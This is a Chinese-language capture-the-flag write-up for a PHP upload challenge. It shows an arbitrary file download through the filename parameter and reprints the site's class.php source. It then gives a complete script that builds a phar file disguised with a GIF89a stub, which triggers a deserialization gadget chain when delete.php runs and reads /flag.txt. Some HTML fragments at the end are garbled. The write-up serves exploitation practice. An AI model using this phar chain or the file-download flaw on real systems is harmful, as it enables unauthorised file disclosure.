进入题目

注册一个账号

登录进去后

上传一个文件发现只能上传图片

下载删除时分别抓包

发现在download.php里下载,在delete.php处删除
发现filename参数,有任意文件下载漏洞
下载download.php,delete.php

目录遍历


在delete.php里发现class.php

db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '
';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '';
}
$table .= '';
$table .= '';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '';
}
$table .= '';
$table .= '';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
发现众多魔术方法,但没有unserinize反序列化函数考虑用phar协议
参考大佬利用链
__call(),这个方法是在对象上下文中调用不可访问的方法触发。我们在关注到User类中的__desturcut(),发现这里调用了close()方法,而这个方法正是指向了我们所说的file_get_content(),此时我们就有了简单而基础的逻辑,就是从User->destruct()=>File->close()
但是这时候我们又会发现,没有回现啊。那怎么办呢。此时我们回过头来看之前__class()方法中的内容,发现它就是遍历files数组,并且对每一个变量执行一次$func函数,然后将结果存进$result中,然后代码执行结束时,FileList中的__destruct()会执行其内部的代码,将result的结果进行回显。欸,此时我们的思路又更加清晰了一些,变为了User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()
用delete.php触发
phar利用
db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt"; //猜测flag文件 位置
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();
?>
会生成shell.phar将其上传

删除

得到flag
| ' . htmlentities($func) . ' | Opt |
|---|
| ' . htmlentities($value) . ' | 涓嬭浇 / 鍒犻櫎 |